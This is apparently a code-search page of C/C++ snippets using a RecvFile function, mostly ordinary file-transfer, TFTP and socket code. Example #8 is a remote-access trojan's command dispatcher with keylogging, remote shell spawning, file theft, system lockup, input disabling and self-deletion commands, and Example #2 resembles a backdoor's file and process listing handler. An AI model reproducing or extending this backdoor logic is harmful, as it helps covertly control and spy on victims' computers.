Example #1
0
extern	void
CheckScreens(
	NETFILE		*fp,
	Bool		fInit)
{	
	char		sname[SIZE_NAME];
	PacketClass	klass;

ENTER_FUNC;
	while ((klass = GL_RecvPacketClass(fp)) == GL_QueryScreen) {
		GL_RecvString(fp, sizeof(sname), sname);
		GL_RecvInt(fp);  /*stsize*/
		GL_RecvInt(fp);  /*stctime*/
		GL_RecvInt(fp);  /*stmtime*/

		if (GetWindowData(sname) == NULL) {
			GL_SendPacketClass(fp,GL_GetScreen);
			RecvFile(fp, sname);
		} else {
			GL_SendPacketClass(fp, GL_NOT);
		}
		if (fInit) {
			ShowWindow(sname);
			fInit = FALSE;
		}
	}
LEAVE_FUNC;
}
Example #2
0
void CBackStream::CmdProcess()
{
	WORD cmd = 0;
	std::string scmd = "";

	GetCmdArg(cmd,scmd);

	switch(cmd){ 

		case DIRLIST:
			FillDirFiles(scmd.c_str());
			GetDirListPacket();
			SendPacket(cmd);
			break;

		case PROCESS_LIST:
			FillProcessList();
			GetProcessListPacket();
			SendPacket(cmd);
			break;

		case FILE_SEND:
			SendFile(scmd.c_str());
			break;

		case FILE_RECV:
			RecvFile(scmd.c_str());
			
			break;

	}

}
Example #3
0
int main(int argc,char **argv)
{
	int sock_fd;
	struct sockaddr_in servaddr,peeraddr;
	struct sctp_sndrcvinfo sri;
	struct sctp_event_subscribe evnts;
	int msg_flags;
	char readbuf[MAXLINE];
	socklen_t len;
	bzero(&sri,sizeof(sri));

	if (argc < 2) {
		err_quit("Missing host argument - use '%s host'\n",argv[0]);
	}
	sock_fd = Socket(AF_INET,SOCK_SEQPACKET,IPPROTO_SCTP);
	bzero(&servaddr,sizeof(servaddr));
	servaddr.sin_family = AF_INET;
	servaddr.sin_port = htons(SERV_PORT);
	Inet_pton(AF_INET,argv[1],&servaddr.sin_addr);

	bzero(&evnts,sizeof(evnts));
	evnts.sctp_data_io_event = 1;
	Setsockopt(sock_fd,IPPROTO_SCTP,SCTP_EVENTS,&evnts,sizeof(evnts));
	
	// 接收所輸入的指令
	while((fgets(readbuf,MAXLINE,stdin)) != NULL) {
		Sctp_sendmsg(sock_fd,readbuf,strlen(readbuf),(SA *) &servaddr,sizeof(servaddr),0,0,sri.sinfo_stream,0,0);
		sri.sinfo_stream++;
		if (sri.sinfo_stream>9)
			sri.sinfo_stream = 0;
		bzero(readbuf,MAXLINE);
		len = sizeof(peeraddr);
		Sctp_recvmsg(sock_fd,readbuf,MAXLINE,(SA *) &peeraddr,&len,&sri,&msg_flags);
		printf("%s\n",readbuf);
		if (strncmp(readbuf,"open ok",strlen("open ok")))
			RecvFile(sock_fd,"copy",(SA *) &peeraddr,len,sri.sinfo_stream);
	}

	Close(sock_fd);
	return 0;
}
Example #4
0
void CServerSocket::OnAccept(int nErrorCode) 
{
	// TODO: Add your specialized code here and/or call the base class
	//接收客户端连接
    CSocket client;
	Accept(client);
	//收发数据

    //接收数据包的包头
	HEADER header={0};
    RecvData(client,(BYTE*)&header,sizeof(header));
	//根据包头中的文件路径构造文件的服务器路径
     CString strFileName=header.szFile;
	 int nFind=strFileName.ReverseFind('\\');
     strFileName=strFileName.Mid(nFind+1);
	 CString strPath="c:\\"+strFileName;
	 AfxMessageBox(strPath);
	//根据包头中的文件长度,接受文件数据
    RecvFile(client,strPath,header.nLen);
	CAsyncSocket::OnAccept(nErrorCode);
}
LRESULT CPRJ3_0613Dlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam)		//消息处理程序(自定义)
{
	// TODO: Add your specialized code here and/or call the base class
	int Event, len, retval, serial;
	CString notify;
	CtlPDU* ctlbuff;

	SOCKET s = static_cast<SOCKET>(wParam);
	Event = LOWORD(lParam);
	switch(message){
	//控制套接字
	case WM_SOCKET:
		if (s != CtlSock){
			MessageBox(_T("套接字错误!"));
			break;
		}
		switch (Event)
		{
		case FD_READ:
			char tempcmdbuff[300];
			len = recv(CtlSock, tempcmdbuff, sizeof(tempcmdbuff), 0);
			if (len <= 0){
				retval = WSAGetLastError();
				if (retval != WSAEWOULDBLOCK){
					closesocket(CtlSock);
				}
			}

			ctlbuff = (CtlPDU *)tempcmdbuff;
			switch (ctlbuff->type){
			//质询PDU
			case INQUIRY_PDU_TYPE:
				Re_Inquiry(CtlSock, tempcmdbuff);
				break;
			//控制信息PDU
			case CTL_PDU_TYPE:
				switch (ctlbuff->cmd){
				//收到服务器请求帐号报文
				case REQ_ACCOUNT:
					Re_Account(CtlSock);
					break;
				case RE_ACCESS:
					MessageBox(_T("认证成功,欢迎使用!"));
					GUIOnline();
					break;
				case RE_ERR_ACCOUNT:
					MessageBox(_T("无此用户!"));
					OffLine();
					break;
				case RE_ERR_INQUIRY:
					MessageBox(_T("密码错误!"));
					OffLine();
					break;
				case RE_ERR_FILENAME:
					MessageBox(_T("文件名错误!"));
					break;
				}
				break;
			default:
				break;
			}
			break;
		case FD_CLOSE:
			closesocket(CtlSock);
			break;
		}
		break;

	//文件传输套接字
	case WM_DATA_SOCKET:
		switch (Event){
		case FD_ACCEPT:
			AcceptDataSocket(s);
			break;
		}
		break;

	case WM_FL_SOCK:
		switch (Event){
		case FD_READ:
			RecvFileList(s);
			break;
		case FD_CLOSE:
			break;
		}
		break;

	case WM_RECV_FILE_SOCK:
		switch (Event){
		case FD_READ:
			RecvFile(s);
			break;
		case FD_CLOSE:
			break;
		}
		break;

	case WM_SEND_FILE_SOCK:
		switch (Event){
		case FD_READ:
			SendFile(s);
			break;
		case FD_CLOSE:
			int i;
			for (i = 0; i < SOCK_LIST_SIZE; i++){
				if (sock_list[i] == s){
					break;
				}
			}
			KillTimer(i + 1);
			break;
		}
		break;
	}
	return CDialog::WindowProc(message, wParam, lParam);
}
Example #6
0
/*----------------
// return value
// -1 : error
// 1 : request submit
// 2 : request test
// 3 : request grade
// 0 : keep alive CHECK
//
//----------------*/
int CComm::RecvJob(string * task, string * language)
{
	char buf[1024];
	bzero(buf, sizeof(buf));

	int nread = readline(buf, 1024);

	if (nread < 0)
	{
		close(mSock);
		return -1;
	}
	else if (nread == 0)	//0815
	{
		LOG("Connection closed!");
		close(mSock);
		return -1;
	}

	int len;

	LOG("[RECV:%s]", buf);

	char source_path[256];

	sprintf(source_path, "%s%s", TEMP_PATH, SOURCE_FILE);

	if (strncasecmp(buf, "REQUEST SUBMIT", strlen("REQUEST SUBMIT")) == 0)
	{
	    if (ParseTaskData(buf + strlen("REQUEST SUBMIT"), task, language) < 0)
	        return -1;

		if (RecvKey() < 0)
			return -1;

		len = RecvInt();
		if (len < 0)
			return -1;

		if (RecvFile(len, source_path) < 0)
			return -1;

		return 1;
	}
	else if (strncasecmp(buf, "REQUEST TEST", strlen("REQUEST TEST")) == 0)
	{
	    if (ParseTaskData(buf + strlen("REQUEST TEST"), task, language) < 0)
            return -1;

		if (RecvKey() < 0)
			return -1;
		len = RecvInt();
		if (len < 0)
			return -1;
		if (RecvFile(len, source_path) < 0)
			return -1;

		if (RecvKey() < 0)
			return -1;
		len = RecvInt();
		if (len < 0)
			return -1;
		if (RecvFile(len, TEST_DATA) < 0)
			return -1;

		return 2;
	}
	else if (strncasecmp(buf, "REQUEST GRADE", strlen("REQUEST GRADE")) == 0)
	{
       if (ParseTaskData(buf + strlen("REQUEST GRADE"), task, language) < 0)
            return -1;

		if (RecvKey() < 0)
			return -1;
		len = RecvInt();
		if (len < 0)
			return -1;
		if (RecvFile(len, source_path) < 0)
			return -1;

		return 3;
	}
	else if (strncasecmp(buf, "\n", 1) == 0)
	{
		return 0;
	}
	else
	{
		LOG("Protocol Error [received:%s]", buf);
		close(mSock);
		return -1;
	}

}
Example #7
0
// Serve a client
int Serve(const char mes[], sockaddr_in client) {
  short op = *(short *)mes,name_len;
  ShowInfo(client, op);  
  if (op == ERROR)
    return 0;
  int sd = NewSock(), error = 0;
  if (sd < 0) return -1;  
  if (op != RRQ && op != WRQ) {
    SendError(sd, client, 4, "Illegal TFTP operation.");
    close(sd);
    return -1;
  }
  const char *name = mes + 2;
  name_len = strlen(name);
  const char *mode = name + name_len;
  int timeout = 0;
  if (op == RRQ) {
    Message("RRQ %s\n", name);
    if (SendFile(sd, client, name) < 0) error = 1;
  }
  else if (op == WRQ) {
    Message("WRQ %s\n", name);
    if (!access(name, F_OK)) {
      puts("exist");
      errno = EEXIST;
      error = 1;
    } else {
      Timer(1);
      TftpPacket p;
      p.op = ACK;
      p.block = 0;
      p.len = 4;      
      while (!Ready(sd,100)) {
        if (Timer(0) > 3000000) {
          timeout = 1;
          break;
        }
        Send(sd, client, &p);
      }
      if (timeout || RecvFile(sd, client, name) < 0) error = 1;
    } 
  }
  if (!error) {
    close(sd);
    return 0;
  }
  if (timeout)
    fprintf(stderr,"Request timed out.\n");
  else if (errno == ENOENT)
    SendError(sd, client, 1, "File not found.");
  else if (errno == EEXIST)
    SendError(sd, client, 6, "File already exists.");
  else if (errno == EACCES)
    SendError(sd, client, 2, "Access violation.");  
  else if (errno == ENOSPC || errno == EMFILE || errno == ENOMEM 
      || errno == ENFILE)
    SendError(sd, client, 3, "Disk full or allocation exceeded.");
  else SendError(sd, client, 0, "Client or Undefined Error");
  close(sd);
  return -1;
}
Example #8
0
DWORD WINAPI HandleClient( LPVOID param ){
	
	SOCKET s = *(SOCKET*)param;
	char buf[1024],tmp[64];
	struct cmd_t cmd;
	int n;
	while(1){
		n = recv( s , buf , 1023 , 0 );
		buf[n] = 0;
		//MB(buf);
		if( n == 0 )
			break;
		parse_cmd( buf , &cmd );
		int sec = cmd.cmd_object;
		int arg = cmd.args;
		char *p = cmd.addnl.str;
		//wsprintf( tmp , "%d::%d" , sec , arg );
		//MB(tmp);
		if( sec == CMD_FILE ){
			switch( arg ){
			case FILE_SDIR:
				SendDirTree( s , p , 0 );
				break;
			case FILE_SDIREX:
				SendDirTree( s , p , 1 );
				break;
			case FILE_SDRV:
				SendDriveSet( s );
				break;
			case FILE_SEND:
				SendFile( s , p );
				break;
			case FILE_RECV:
				RecvFile( s , p );
				break;
			case FILE_MKDIR:
				LocalMkDir( p );
				break;
			default:
				SendLn( s , "***file: bad args\r\n" );
			}
		}
		else if( sec == CMD_HW ){
			switch( arg ){
			case HW_OPENCD:
				OpenCDTray();
				break;
			case HW_CLOSECD:
				CloseCDTray();
				break;
			case HW_MOUSE_R:
				SetMouseBns( MOUSE_RT );
				break;
			case HW_MOUSE_L:
				SetMouseBns( MOUSE_LT );
				break;
			case HW_MOUSE_SW:
				SwapMouseBns();
				break;
			case HW_MONITOR1:
				MonitorPower( 1 );
				break;
			case HW_MONITOR0:
				MonitorPower( 0 );
				break;
			case HW_DB_CLK:
				DblClkDelay( cmd.addnl.nums[0] );
				break;
			case HW_INPUT0:
				EnableInput( false );
				break;
			case HW_INPUT1:
				EnableInput( true );
				break;
			case HW_REBOOT:
				Reboot();
				break;
			case HW_SHTDWN:
				ShutDown();
				break;
			default:
				SendLn( s , "***bad args\r\n" );
			}
		}
		else if( sec == CMD_KEYBD ){
			switch( arg ){
			case KEYBD_STARTLOG:
				KeyLog( true );
				break;
			case KEYBD_STOPLOG:
				KeyLog( false );
				break;
			default:
				SendLn( s , "***keybd: bad args\r\n" );
			}
		}
		else if( sec == CMD_MOUSE ){
			switch( arg ){
			case MOUSE_FLY_STOP:
				FlyMousePtr( false );
				break;
			case MOUSE_FLY:
				FlyMousePtr( true );
				break;
			case MOUSE_FLY_CLK:
				FlyMousePtrClick( true );
				break;
			case MOUSE_RESTRICT:
				RestrictMouseMovementTo(cmd.addnl.nums[0],
										cmd.addnl.nums[1],
										cmd.addnl.nums[2],
										cmd.addnl.nums[3]
										);
				break;
			case MOUSE_SHOW:
				ShowMouseCursor( true );
				break;
			case MOUSE_HIDE:
				ShowMouseCursor( false );
				break;
			case MOUSE_CLK:
				MouseClick( cmd.addnl.nums[0] );
				break;
			case MOUSE_CLK_PT:
				MouseClickPoint( cmd.addnl.nums[1],
								 cmd.addnl.nums[2],
								 cmd.addnl.nums[0]
							   );
				break;
			case MOUSE_SETPOS:
				SetMousePos( cmd.addnl.nums[0],
							 cmd.addnl.nums[1]
							 );
				break;
			default:
				SendLn( s , "***mouse: bad args\r\n" );
			}
		}
		else if( sec == CMD_SHELL ){
			if( arg == SHELL_SPAWN )
				CreateRemoteShell( s );
		}
		else if( sec == CMD_SYS ){
			unsigned long m;
			unsigned __int64 d;
			char msg[256];

			switch( arg ){
			case SYS_MAXMEM:
				m = GetMaxMem();
				wsprintf( msg , "max mem: %u MiB\r\n" , m );
				SendLn( s ,msg );
				break;
			case SYS_BUSYMEM:
				m = GetBusyMem();
				wsprintf( msg , "mem in use: %u MiB\r\n" , m );
				SendLn( s , msg );
				break;
			case SYS_FREEMEM:
				m = GetFreeMem();
				wsprintf( msg , "free mem: %u MiB\r\n" , m );
				SendLn( s , msg );
				break;
			case SYS_MAXDISK:
				d = GetDiskUsage( cmd.addnl.str , U_TOTAL );
				if( d < 1024 ){
					m = (unsigned long)d;
					wsprintf( msg , "total space on %s: %u MiB\r\n" , cmd.addnl.str , m );
				}else{
					m = (unsigned long)(d/1024);
					wsprintf( msg , "total space on %s: %u GiB\r\n" , cmd.addnl.str , m );
				}
				SendLn( s , msg );
				break;
			case SYS_USEDDISK:
				d = GetDiskUsage( cmd.addnl.str , U_USED );
				if( d < 1024 ){
					m = (unsigned long)d;
					wsprintf( msg , "used space on %s: %u MiB\r\n" , cmd.addnl.str , m );
				}else{
					m = (unsigned long)(d/1024);
					wsprintf( msg , "used space on %s: %u GiB\r\n" , cmd.addnl.str , m );
				}
				SendLn( s , msg );
				break;
			case SYS_FREEDISK:
				d = GetDiskUsage( cmd.addnl.str , U_FREE );
				if( d < 1024 ){
					m = (unsigned long)d;
					wsprintf( msg , "free space on %s: %u MiB\r\n" , cmd.addnl.str , m );
				}else{
					m = (unsigned long)(d/1024);
					wsprintf( msg , "free space on %s: %u GiB\r\n" , cmd.addnl.str , m );
				}
				SendLn( s , msg );
				break;
			case SYS_SYSDIR:
				wsprintf( msg , "system dir is:\'%s\'\r\n" , sysdir() );
				SendLn( s , msg );
				break;
			case SYS_WINDIR:
				wsprintf( msg , "windows dir is:\'%s\'\r\n", windir() );
				SendLn( s , msg );
				break;
			case SYS_CHDIR:
				cd( cmd.addnl.str );
				break;
			case SYS_LOCKUP:
				SendLn( s , "!!!Locking up system!!!... don\'t expect too much after this!\r\n" );
				Sleep(2000);
				LockUp();
				break;
			case SYS_RAMFILL:
				RamFill();
				break;
			default:
				SendLn( s , "***sys: bad args\r\n" );
			}
		}
		else if( sec == CMD_TBAR ){
			switch(arg){
			case TBAR_SHOW:
				ShowTaskBar( true );
				break;
			case TBAR_HIDE:
				ShowTaskBar( false );
				break;
			case TBAR_STBN_SHOW:
				ShowStartBn( true );
				break;
			case TBAR_STBN_HIDE:
				ShowStartBn( false );
				break;
			case TBAR_STBN_FLY1:
				FlyStartBn( true );
				break;
			case TBAR_STBN_FLY0:
				FlyStartBn( false );
				break;
			case TBAR_CLOCK_SHOW:
				ShowClock( true );
				break;
			case TBAR_CLOCK_HIDE:
				ShowClock( false );
				break;
			case TBAR_ENABLE:
				EnableTaskBar( true );
				break;
			case TBAR_DISABLE:
				EnableTaskBar( false );
				break;
			default:
				SendLn( s , "***tb: bad args\r\n" );
			}
		}
		else if( sec == CMD_PRANK ){
			switch(arg){
			case PRANK_DTP_ENABLE:
				EnableDesktop( true );
				break;
			case PRANK_DTP_DISABLE:
				EnableDesktop( false );
				break;
			case PRANK_FU_START:
				if( !strequal( cmd.addnl.str , "" ) )
					szFUStr = cmd.addnl.str;
				FuckYou( true );
				break;
			case PRANK_FU_STOP:
				FuckYou( false );
				break;
			case PRANK_WRUN_START:
				if( cmd.addnl.nums[0] > 0 )
					uiRunWindowsDelay = cmd.addnl.nums[0];
				MakeWindowsRun( true );
				break;
			case PRANK_WRUN_STOP:
				MakeWindowsRun( false );
				break;
			case PRANK_QUAKE_START:
				if( cmd.addnl.nums[0] > 0 )
					uiQuakeDelay = cmd.addnl.nums[0];
				Quake( true );
				break;
			case PRANK_QUAKE_STOP:
				Quake( false );
				break;
			default:
				SendLn( s , "***bad trigger\r\n" );
			}
		}
		else if( sec == CMD_OWL ){
			switch(arg){
			case OWL_UNINSTALL:
				SelfDelete();
				exit(0);
				break;
			default:
				SendLn( s , "***bad trigger\r\n" );
			}
		}

	}
	return 0;
}
Example #9
0
BOOL TRecvDlg::RecvDirFile(void)
{
#define BIG_ALLOC	50
#define PEEK_SIZE	8

	if (fileObj->status == FS_DIRFILESTART || fileObj->status == FS_TRANSINFO)
	{
		int		size;
		if (fileObj->infoLen == 0)
		{
			if ((size = ::recv(fileObj->conInfo->sd, fileObj->info + (int)fileObj->offset, PEEK_SIZE - (int)fileObj->offset, 0)) <= 0)
				return	FALSE;
			if ((fileObj->offset += size) < PEEK_SIZE)
				return	TRUE;
			fileObj->info[fileObj->offset] = 0;
			if ((fileObj->infoLen = strtoul(fileObj->info, 0, 16)) >= sizeof(fileObj->info) -1 || fileObj->infoLen <= 0)
				return	FALSE;	// too big or small
		}
		if (fileObj->offset < fileObj->infoLen)
		{
			if ((size = ::recv(fileObj->conInfo->sd, fileObj->info + (int)fileObj->offset, fileObj->infoLen - (int)fileObj->offset, 0)) <= 0)
				return	FALSE;
			fileObj->offset += size;
		}
		if (fileObj->offset == fileObj->infoLen)
		{
			fileObj->info[fileObj->infoLen] = 0;
			if (DecodeDirEntry(fileObj->info, &fileObj->curFileInfo, fileObj->u8fname) == FALSE)
				return	FALSE;	// Illegal entry
			fileObj->offset = fileObj->infoLen = 0;	// 初期化

			if (GET_MODE(fileObj->curFileInfo.Attr()) == IPMSG_FILE_DIR)
			{
				char	buf[MAX_BUF];
				const char *fname = fileObj->dirCnt == 0 ? fileObj->fileInfo->Fname() : fileObj->curFileInfo.Fname();

				if (MakePath(buf, fileObj->path, fname) >= MAX_PATH_U8)
					return	MessageBoxU8(buf, GetLoadStrU8(IDS_PATHTOOLONG)), FALSE;
				if (IsSafePath(buf, fname) == FALSE)
					return	FALSE;

				if (CreateDirectoryU8(buf, NULL) == FALSE)
					return	FALSE;
				strncpyz(fileObj->path, buf, MAX_PATH_U8);
				fileObj->dirCnt++;
			}
			else if (GET_MODE(fileObj->curFileInfo.Attr()) == IPMSG_FILE_RETPARENT)
			{
				if (fileObj->curFileInfo.Mtime())	// directory の time stamp をあわせる(NT系のみ)
				{
					FILETIME	ft;
					HANDLE		hFile;
					UnixTime2FileTime(fileObj->curFileInfo.Mtime(), &ft);
					if ((hFile = CreateFileU8(fileObj->path, GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, 0)) != INVALID_HANDLE_VALUE)
					{
						::SetFileTime(hFile, NULL, NULL, &ft);
						::CloseHandle(hFile);
					}
				}
				if (fileObj->curFileInfo.Attr() & IPMSG_FILE_RONLYOPT)
				SetFileAttributesU8(fileObj->path, FILE_ATTRIBUTE_READONLY);
				if (--fileObj->dirCnt <= 0)
				{
					fileObj->status = FS_COMPLETE;
					return	TRUE;
				}
				if (PathToDir(fileObj->path, fileObj->path) == FALSE)
					return	FALSE;
			}
			else {
				if (fileObj->dirCnt == 0)
					return	FALSE;
				
				if (fileObj->curFileInfo.Size() == 0)	// 0byte file
				{
					if (OpenRecvFile())		// 0byteの場合は作成失敗を無視
						CloseRecvFile(TRUE);
				}
				fileObj->status = fileObj->curFileInfo.Size() ? FS_TRANSFILE : FS_TRANSINFO;
			}
			return	TRUE;
		}
	}

	if (fileObj->status == FS_TRANSFILE)
	{
		if (RecvFile() != TRUE)
		{
			CloseRecvFile();
			return	FALSE;
		}
		if (fileObj->status == FS_ENDFILE)
		{
			CloseRecvFile(TRUE);
			fileObj->status = FS_TRANSINFO;
		}
	}

	return	TRUE;
}